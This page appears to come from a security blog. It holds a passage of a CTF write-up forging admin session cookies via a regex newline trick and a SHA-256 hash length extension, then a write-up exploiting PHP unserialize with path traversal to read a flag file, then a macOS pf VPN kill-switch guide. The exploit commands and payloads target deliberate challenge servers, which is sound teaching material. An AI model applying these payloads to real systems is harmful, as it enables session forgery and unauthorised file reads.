The match expression for $data makes use of .*, which extends to the very end of the session string. Or does it? It won’t match a line break! The session string is base64 encoded, so it’s not a problem to include newlines and it can be constructed as follows:

_BuLMac_a2b54852ae2c7eb3bb567af91f457b27b45933bacedb6f4878fc880a24f002fc_Mac_BuLBuL_admin_BuLBuL_BuL_3⏎
_BuL_1_BuL

Now $data simply matches the data part from original session string, passing the MAC validation with the last one of the $id matches being the forged one in the second line!

Now we just need to reverse the string replacement:

4bG6EsBuLMac4bG6Esa2b54852ae2c7eb3bb567af91f457b27b45933bacedb6f4878fc880a24f002fc4bG6EsMac4bG6EsBuLBuL4bG6EsZ2Bv4sa4bG6EsBuLBuL4bG6EsBuL4bG6Es3⏎
4bG6EsBuL4bG6Es14bG6EsBuL

Then encode it back to base64:

NGJHNkVzQnVMTWFjNGJHNkVzYTJiNTQ4NTJhZTJjN2ViM2JiNTY3YWY5MWY0NTdiMjdiNDU5MzNiYWNlZGI2ZjQ4NzhmYzg4MGEyNGYwMDJmYzRiRzZFc01hYzRiRzZFc0J1TEJ1TDRiRzZFc1oyQnY0c2E0Ykc2RXNCdUxCdUw0Ykc2RXNCdUw0Ykc2RXMzCjRiRzZFc0J1TDRiRzZFczE0Ykc2RXNCdUw=

And once we use that as our session cookie, we are number one!

<center>
    Here is your flag: MRMCDCTF{1_h4d_n0_1n5p1r4710n_f0r_7h15_fl46}
</center>

Solution 2: Attacking the MAC

assert(strlen($key) == 23);
// […]
$hmac = hash("sha256", $key.$ss);

These two lines are suspicious. They assert that the key has a length of 23 bytes with no obvious reason to do so; and they use a variable named $hmac but don’t use PHP’s hash_hmac function designed for such use.

A proper HMAC would be constructed like H(secret ‖ H(secret ‖ message)), not H(secret ‖ message). To quote Wikipedia:

When a Merkle–Damgård based hash is misused as a MAC with construction H(secret ‖ message), and message and the length of secret is known, a length extension attack allows anyone to include extra information at the end of the message and produce a valid hash without knowing the secret.

Let’s see what we have:

MAC: a2b54852ae2c7eb3bb567af91f457b27b45933bacedb6f4878fc880a24f002fc
Message: _BuLBuL_admin_BuLBuL_BuL_3_BuL
Length of secret: 23

That’s all we need to append text to the message and generate a valid MAC.

I will use hashpump to keep it simple, but you may find a detailed explanation of Hash Length Extension Attacks here. We want to change the user ID to 1, so the text we want to append is _BuL_1_BuL:

hashpump -s "a2b54852ae2c7eb3bb567af91f457b27b45933bacedb6f4878fc880a24f002fc" -k 23 -d "_BuLBuL_admin_BuLBuL_BuL_3_BuL" -a "_BuL_1_BuL"

This gives us the message:

_BuLBuL_admin_BuLBuL_BuL_3_BuL\x80\x00\x00\x00\x00\x00\x00\x00\x00\x01\xa8_BuL_1_BuL

00000000: 5f42 754c 4275 4c5f 6164 6d69 6e  _BuLBuL_admin
0000000d: 5f42 754c 4275 4c5f 4275 4c5f 33  _BuLBuL_BuL_3
0000001a: 5f42 754c 8000 0000 0000 0000 00  _BuL.........
00000027: 01a8 5f42 754c 5f31 5f42 754c     .._BuL_1_BuL

And the resulting hash:

2dcf883237646ba64cfe636785c56af65fe8b8a67869de0ba2a3d04ba87e02b2

Now we just need to construct the session string again:

_BuLMac_2dcf883237646ba64cfe636785c56af65fe8b8a67869de0ba2a3d04ba87e02b2_Mac_BuLBuL_admin_BuLBuL_BuL_3_BuL\x80\x00\x00\x00\x00\x00\x00\x00\x00\x01\xa8_BuL_1_BuL

Reverse the string replacement:

4bG6EsBuLMac4bG6Es2dcf883237646ba64cfe636785c56af65fe8b8a67869de0ba2a3d04ba87e02b24bG6EsMac4bG6EsBuLBuL4bG6EsZ2Bv4s4bG6EsBuLBuL4bG6EsBuL4bG6Es34bG6EsBuL\x80\x00\x00\x00\x00\x00\x00\x00\x00\x01\xa84bG6EsBuL4bG6Es14bG6EsBuL

Convert the escape sequences and then to base64:

echo -ne "4bG6EsBuLMac4bG6Es2dcf883237646ba64cfe636785c56af65fe8b8a67869de0ba2a3d04ba87e02b24bG6EsMac4bG6EsBuLBuL4bG6EsZ2Bv4s4bG6EsBuLBuL4bG6EsBuL4bG6Es34bG6EsBuL\x80\x00\x00\x00\x00\x00\x00\x00\x00\x01\xa84bG6EsBuL4bG6Es14bG6EsBuL" | base64

There’s our session cookie:

NGJHNkVzQnVMTWFjNGJHNkVzMmRjZjg4MzIzNzY0NmJhNjRjZmU2MzY3ODVjNTZhZjY1ZmU4YjhhNjc4NjlkZTBiYTJhM2QwNGJhODdlMDJiMjRiRzZFc01hYzRiRzZFc0J1TEJ1TDRiRzZFc1oyQnY0czRiRzZFc0J1TEJ1TDRiRzZFc0J1TDRiRzZFczM0Ykc2RXNCdUyAAAAAAAAAAAABqDRiRzZFc0J1TDRiRzZFczE0Ykc2RXNCdUw=

And once again…

<center>
    Here is your flag: MRMCDCTF{1_h4d_n0_1n5p1r4710n_f0r_7h15_fl46}
</center>

MRMCD CTF 2017 writeup: Cofefe

Tue, 19 Sep 2017 00:00:00 -0500

I participated in the MRMCD CTF and since they asked for writeups, here comes mine about the ‘Cofefe’ challenge.

Provided was the following description:

Do you have trouble to stay awake at the MRMCD? No problem, we can BREW some Covfefe with various additions for you! While drinking, you might also want to read /flag.txt?

The challenge also had a website link and that website’s source code.¹

This was the site’s response:

HTTP/1.0 418 I'm a teapot

Actually I'm not a Teapot, but a RFC2324 Covfefe machine...
So let me BREW something for you!
You can add additions[] Milk,Cream,Whisky,Rum,Kahlua,Aquavit,Vanilla,Almond

That seems to be an implementation of the 1998 April Fool’s RFC 2324 (HTCPCP). But instead of wasting time by proofreading the whole implementation or writing an HTCPCP client, we’ll just follow the hint and start looking for the /flags.txt file.

Given that there is only one method in the source code that reads and returns the content of a file, this should be what we’re looking for:

class Covfefe {
  // ...
  function get() {
    global $top;
    $id = max(0, $this->id); //implicit integer cast
    $fname = "covfefe/".$id;
    $content = file_get_contents($fname);
    unlink($fname);
    return $top . $content;
  }
  // ...
}

Our goal is to set $fname = "/flags.txt" (or something equivalent).
Obviously we can’t change the hardcoded "covfefe/" prefix, but the latter part is set to the result of max(0, $this->id) at runtime.

Since we’re dealing with PHP™, max() comes with this nice warning:

Caution: Be careful when passing arguments with mixed types values because max() can produce unpredictable results.

Let’s play around:

~> php -a
Interactive shell

php > echo max(0, "flags.txt");
0
php > echo max(0, "1flags.txt");
1flags.txt
php > echo max(0, "1/../../flags.txt");
1/../../flags.txt

And there we have it. Thanks to path normalization, covfefe/1/../../flags.txt will be turned into flags.txt. Next step is figuring out how to set $this->id, which is declared here:

class Covfefe {
  public $id = 42;
  // ...
  function __construct() {
      global $bottom;
      global $middle;
      $this->id = rand();
      $this->time = time();
      $this->add($bottom);
      $this->add($middle." <- Covfefe\n");
  }
  // ...
}

So the id is set to 42 by default, but overridden in __construct(), which is a special method in PHP that is called “on each newly-created object, so it is suitable for any initialization that the object may need before it is used.”

But rand() only returns integers, so we need to look elsewehre. The unserialize() method used for GET requests caught my eye:

if ($_SERVER["REQUEST_METHOD"] == "GET") {
    if ($_SERVER['QUERY_STRING'] == "") {
        echo "Actually I'm not a Teapot, but a RFC2324 Covfefe machine...\n";
        echo "So let me BREW something for you!\n";
        echo "You can add additions[] Milk,Cream,Whisky,Rum,Kahlua,Aquavit,Vanilla,Almond";
    } else {
        $c = unserialize(base64_decode($_SERVER['QUERY_STRING']));
        echo $c->get();
    }
}

“Unserialize” sounded suspicious to me, and PHP delivers:

Warning: Do not pass untrusted user input to unserialize() regardless of the options value of allowed_classes. Unserialization can result in code being loaded and executed due to object instantiation and autoloading, and a malicious user may be able to exploit this.

As noted in the documentation of the Serializable interface, unserialize() serves as the constructor and __construct() is not called. Therefore it would not override the unserialized id.

So basically we just need to serialize the Covfefe object with our desired id, let’s try:

~> php -a
Interactive shell

php > class Covfefe { public $id = "1/../../flags.txt"; }
php > echo serialize(new Covfefe);
O:7:"Covfefe":1:{s:2:"id";s:17:"1/../../flags.txt";}

The format is quite simple, it defines an Object with the 7 character name "Covfefe" that has 1 property with a string name, namely the 2 character "id" with a string value of 17 characters "1/../../flags.txt".

The serialized object needs to be Base64-encoded and then it’s just used as the query string:

~> echo -n 'O:7:"Covfefe":1:{s:2:"id";s:17:"1/../../flags.txt";}' | base64
Tzo3OiJDb3ZmZWZlIjoxOntzOjI6ImlkIjtzOjE3OiIxLy4uLy4uL2ZsYWdzLnR4dCI7fQ==
~> curl 'http://ctf.canthack.me:8889?Tzo3OiJDb3ZmZWZlIjoxOntzOjI6ImlkIjtzOjE3OiIxLy4uLy4uL2ZsYWdzLnR4dCI7fQ=='


                        (
                          )     (
                   ___...(-------)-....___
               .-""       )    (          ""-.
         .-'``'|-._             )         _.-|
        /  .--.|   `""---...........---""`   |
       /  /    |                             |

That’s just the $top, the file $content seems to be empty? Maybe /flags.txt didn’t mean the webroot, but the absolute root instead?

~> echo -n 'O:7:"Covfefe":1:{s:2:"id";s:29:"1/../../../../../../flags.txt";}' | base64
Tzo3OiJDb3ZmZWZlIjoxOntzOjI6ImlkIjtzOjI5OiIxLy4uLy4uLy4uLy4uLy4uLy4uL2ZsYWdzLnR4dCI7fQ==
~> curl 'http://ctf.canthack.me:8889?Tzo3OiJDb3ZmZWZlIjoxOntzOjI6ImlkIjtzOjI5OiIxLy4uLy4uLy4uLy4uLy4uLy4uL2ZsYWdzLnR4dCI7fQ=='


                        (
                          )     (
                   ___...(-------)-....___
               .-""       )    (          ""-.
         .-'``'|-._             )         _.-|
        /  .--.|   `""---...........---""`   |
       /  /    |                             |
MRMCD{whatever_the_actual_flag_was}

And that’s it \o/

Pastebin backup of index.php ↩

Using pf to prevent traffic from bypassing VPN

Mon, 11 Sep 2017 00:00:00 -0500

I want to ensure no traffic is accidentally bypassing my VPN. Some VPN providers sell this as a “kill switch”. Fortunately, using pf (packet filter) on macOS it’s simple to do this yourself.

Although macOS has an option called “Send all traffic over VPN connection”, this only works while the VPN is connected. Whenever it’s disconnected – and it sometimes does this on its own – all your traffic is sent in the clear.

PF configuration

Create the file /etc/pf.anchors/vpnonly.

In that file, create a macro list (as follows) with the interfaces used by the VPN.
All traffic will be allowed on these interfaces.

vpn_ifs = "{" utun0 utun1 "}"

You’ll also want to allow a small number of subnets to bypass VPN, such as private networks and multicast addresses. This ensures that you can connect to any hosts in your local network and that network service discovery (AirPlay, Chromecast, printers, etc) is still working:

table <allowed> persist {                     \
  10/8, 172.16/12, 192.168/16,                \
  169.254/16,                                 \
  224.0.0.0/4,                                \
  fe80::/10,                                  \
  ff00::/9                                    \
}

I also like having a host that can be pinged when the VPN is not working:

table <allowping> persist { \ 
  1.1.1.1,                  \
  2606:4700:4700::1111      \   
}

We need a list of VPN servers that we allow connecting to. You can define it inline just like the other tables, but I like keeping it in a separate file at /etc/pf.tables/vpnhosts (make sure the directory exists). The VPN servers are just entered line by line.
Pro tip: put http.rip in there, so you can check for captive portals on public WiFi.

Please note that while you can use hostnames instead of IP addresses in the file, DNS resolution could be forged or blocked while disconnected from your VPN. You should add each of the hostnames you use to your /etc/hosts file, so it doesn’t depend on DNS.

Now back to /etc/pf.anchors/vpnonly:

table <vpnhosts> persist file "/etc/pf.tables/vpnhosts"

Then add the actual rules:

# allow internal traffic
set skip on lo0 

# allow all traffic via VPN
set skip on $vpn_ifs
# skip only works when the interfaces exists while rules are loaded
pass out quick on $vpn_ifs no state

# allow traffic to whitelisted networks and to VPN servers
pass out quick from any to { <allowed>, <vpnhosts> } no state

# allow ping to whitelisted IPs
pass out quick inet proto  icmp from any to <allowping> \
  icmp-type echoreq no state
pass out quick inet6 proto ipv6-icmp from any to <allowping> \
  icmp6-type echoreq no state

# block everything else, reply with TCP RST or ICMP Unreachable
# note: 'return' acts like 'drop' on wired connection, see http://openradar.me/46305914
block return out all no state

Finally, these two lines need to be added at the bottom of /etc/pf.conf:

anchor "vpnonly"
load anchor "vpnonly" from "/etc/pf.anchors/vpnonly"

The new rules will be automatically loaded when your system starts.
To check for errors and enable these rules now, run:

sudo pfctl -n -f /etc/pf.conf && sudo pfctl -E -f /etc/pf.conf

And to temporarily disable them:

sudo pfctl -a vpnonly -F all

Note: Apple likes to override /etc/pf.conf during macOS updates,
so watch out for changes after updating!

Digital Naïve

CAA records and "accounturi" recommendations

tl;dr? Jump to recommendations!

Introduction

Why use CAA

CAA overview

<flags>

<tag> <value>

The issue property tag

The issuewild property tag

Parameters

validationmethods=

accounturi=

The iodef property tag

Mechanism

CAA recommendations

Simple example

Find your accounturi

Get notified

Use critical flag

Use different accounts

Avoid and limit wildcard certificates

Protect unused subdomains

Full example

Further hardening and limitations

Comments

How to become an OpenStreetMap pro

Video

Slides

Contact

Overview and introduction to OSINT and OPSEC

Video

Slides

Resources

Pwning an online retailer via public .git directory

Discussion

Disclosure timeline

MRMCD CTF 2019: Solving "Flag Checker" with style

About Domain Validation and Padlocks

MRMCD CTF 2018 writeup: Hatali

Login

Session handling

Authorization

Solution 1: Attacking the RegEx

Solution 2: Attacking the MAC

MRMCD CTF 2017 writeup: Cofefe

Using pf to prevent traffic from bypassing VPN

PF configuration

`<flags>`

`<tag> <value>`

The `issue` property tag

The `issuewild` property tag

`validationmethods=`

`accounturi=`

The `iodef` property tag

Find your `accounturi`